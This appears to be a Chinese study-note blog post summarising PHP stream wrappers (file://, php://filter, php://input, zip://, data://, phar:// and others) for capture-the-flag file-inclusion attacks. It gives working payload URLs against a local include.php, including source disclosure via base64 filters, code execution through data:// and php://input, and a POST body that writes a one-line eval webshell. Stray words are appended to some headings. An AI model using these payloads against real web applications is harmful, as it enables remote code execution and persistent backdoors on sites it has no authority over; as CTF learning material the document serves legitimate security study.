PHP僞協議總結

參考了這篇文章: php僞協議實現命令執行的七種姿式,並根據本身理解進行了總結,也算是加深一下印象,方便之後使用。

file:// 協議

  • 條件php

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 做用
    用於訪問本地文件系統,在CTF中一般用來讀取本地文件的且不受allow_url_fopenallow_url_include的影響。
    include()/require()/include_once()/require_once()參數可控的狀況下,如導入爲非.php文件,則仍按照php語法進行解析,這是include()函數所決定的。
  • 說明
    file:// 文件系統是 PHP 使用的默認封裝協議,展示了本地文件系統。當指定了一個相對路徑(不以/、、\或 Windows 盤符開頭的路徑)提供的路徑將基於當前的工做目錄。在不少狀況下是腳本所在的目錄,除非被修改了。使用 CLI 的時候,目錄默認是腳本被調用時所在的目錄。在某些函數裏,例如 fopen()file_get_contents()include_path 會可選地搜索,也做爲相對的路徑。
  • 用法html

    /path/to/file.ext
    relative/path/to/file.ext
    fileInCwd.ext
    C:/path/to/winfile.ext
    C:\path\to\winfile.ext
    \\smbserver\share\path\to\winfile.ext
    file:///path/to/file.ext
  • 示例算法

    1. file://[文件的絕對路徑和文件名]網絡

      http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt

      圖片描述

    2. [文件的相對路徑和文件名]app

      http://127.0.0.1/include.php?file=./phpinfo.txt

      圖片描述

    3. [http://網絡路徑和文件名]函數

      http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

      圖片描述

  • 參考http://php.net/manual/zh/wrappers.file.php

php:// 協議

  • 條件工具

    • allow_url_fopen:off/on
    • allow_url_include :僅php://input php://stdin php://memory php://temp 須要on
  • 做用
    php:// 訪問各個輸入/輸出流(I/O streams),在CTF中常常使用的是php://filterphp://inputphp://filter用於讀取源碼php://input用於執行php代碼
  • 說明
    PHP 提供了一些雜項輸入/輸出(IO)流,容許訪問 PHP 的輸入輸出流、標準輸入輸出和錯誤描述符,
    內存中、磁盤備份的臨時文件流以及能夠操做其餘讀取寫入文件資源的過濾器。ui

    協議 做用
    php://input 能夠訪問請求的原始數據的只讀流,在POST請求中訪問POST的data部分,在enctype="multipart/form-data" 的時候php://input 是無效的。
    php://output 只寫的數據流,容許以 print 和 echo 同樣的方式寫入到輸出緩衝區。
    php://fd (>=5.3.6)容許直接訪問指定的文件描述符。例如 php://fd/3 引用了文件描述符 3。
    php://memory php://temp (>=5.1.0)一個相似文件包裝器的數據流,容許讀寫臨時數據。二者的惟一區別是 php://memory 老是把數據儲存在內存中,而 php://temp 會在內存量達到預約義的限制後(默認是 2MB)存入臨時文件中。臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。
    php://filter (>=5.0.0)一種元封裝器,設計用於數據流打開時的篩選過濾應用。對於一體式(all-in-one)的文件函數很是有用,相似 readfile()file()file_get_contents(),在數據流內容讀取以前沒有機會應用其餘過濾器。
  • php://filter參數詳解編碼

    該協議的參數會在該協議路徑上進行傳遞,多個參數均可以在一個路徑上傳遞。具體參考以下:加密

    php://filter 參數 描述
    resource=<要過濾的數據流> 必須項。它指定了你要篩選過濾的數據流。
    read=<讀鏈的過濾器> 可選項。能夠設定一個或多個過濾器名稱,以管道符(*\ *)分隔。
    write=<寫鏈的過濾器> 可選項。能夠設定一個或多個過濾器名稱,以管道符(\ )分隔。
    <; 兩個鏈的過濾器> 任何沒有以 read=write= 做前綴的篩選器列表會視狀況應用於讀或寫鏈。
  • 可用的過濾器列表(4類)

    此處列舉主要的過濾器類型,詳細內容請參考:https://www.php.net/manual/zh/filters.php

    字符串過濾器 做用
    string.rot13 等同於str_rot13(),rot13變換
    string.toupper 等同於strtoupper(),轉大寫字母
    string.tolower 等同於strtolower(),轉小寫字母
    string.strip_tags 等同於strip_tags(),去除html、PHP語言標籤
    轉換過濾器 做用
    convert.base64-encode & convert.base64-decode 等同於base64_encode()base64_decode(),base64編碼解碼
    convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串與 8-bit 字符串編碼解碼
    壓縮過濾器 做用
    zlib.deflate & zlib.inflate 在本地文件系統中建立 gzip 兼容文件的方法,但不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。
    bzip2.compress & bzip2.decompress 同上,在本地文件系統中建立 bz2 兼容文件的方法。
    加密過濾器 做用
    mcrypt.* libmcrypt 對稱加密算法
    mdecrypt.* libmcrypt 對稱解密算法
  • 示例

    1. php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼(針對php文件須要base64編碼)

      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.php

      圖片描述

    2. php://input + [POST DATA]執行php代碼

      http://127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php phpinfo(); ?>

      圖片描述

      如有寫入權限,寫入一句話木馬

      http://127.0.0.1/include.php?file=php://input
      [POST DATA部分]
      <?php fputs(fopen('1juhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

      圖片描述

  • 參考https://php.net/manual/zh/wrappers.php.php

zip:// & bzip2:// & zlib:// 協議

  • 條件

    • allow_url_fopen:off/on
    • allow_url_include :off/on
  • 做用zip:// & bzip2:// & zlib:// 均屬於壓縮流,能夠訪問壓縮文件中的子文件,更重要的是不須要指定後綴名,可修改成任意後綴:jpg png gif xxx 等等。
  • 示例

    1. zip://[壓縮文件絕對路徑]%23[壓縮文件內的子文件名](#編碼爲%23)

      壓縮 phpinfo.txt 爲 phpinfo.zip ,壓縮包重命名爲 phpinfo.jpg ,並上傳

      http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

      圖片描述

    2. compress.bzip2://file.bz2

      壓縮 phpinfo.txt 爲 phpinfo.bz2 並上傳(一樣支持任意後綴名)

      http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

      圖片描述

    3. compress.zlib://file.gz

      壓縮 phpinfo.txt 爲 phpinfo.gz 並上傳(一樣支持任意後綴名)

      http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz

      圖片描述

  • 參考http://php.net/manual/zh/wrappers.compression.php

data:// 協議

  • 條件

    • allow_url_fopen:on
    • allow_url_include :on
  • 做用:自PHP>=5.2.0起,能夠使用data://數據流封裝器,以傳遞相應格式的數據。一般能夠用來執行PHP代碼。
  • 用法

    data://text/plain,
    data://text/plain;base64,
  • 示例

    1. data://text/plain,

      http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>

      圖片描述

    2. data://text/plain;base64,

      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

      圖片描述

http:// & https:// 協議

  • 條件

    • allow_url_fopen:on
    • allow_url_include :on
  • 做用:常規 URL 形式,容許經過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。CTF中一般用於遠程包含。
  • 用法

    http://example.com
    http://example.com/file.php?var1=val1&var2=val2
    http://user:password@example.com
    https://example.com
    https://example.com/file.php?var1=val1&var2=val2
    https://user:password@example.com
  • 示例

    http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt

    圖片描述

phar:// 協議

phar://協議與zip://相似,一樣能夠訪問zip格式壓縮包內容,在這裏只給出一個示例:

http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt

圖片描述

另外在 Black Hat 2018 大會上,研究人員公佈了一款針對PHP應用程序的全新攻擊技術:phar://協議對象注入技術

由於該利用點須要知足必定的條件才能利用,能夠參考下面這篇文章,裏面的demo也很是詳細,留做之後專門研究一下。

參考文章: seebug - 利用 phar 拓展 php 反序列化漏洞攻擊面
相關文章
相關標籤/搜索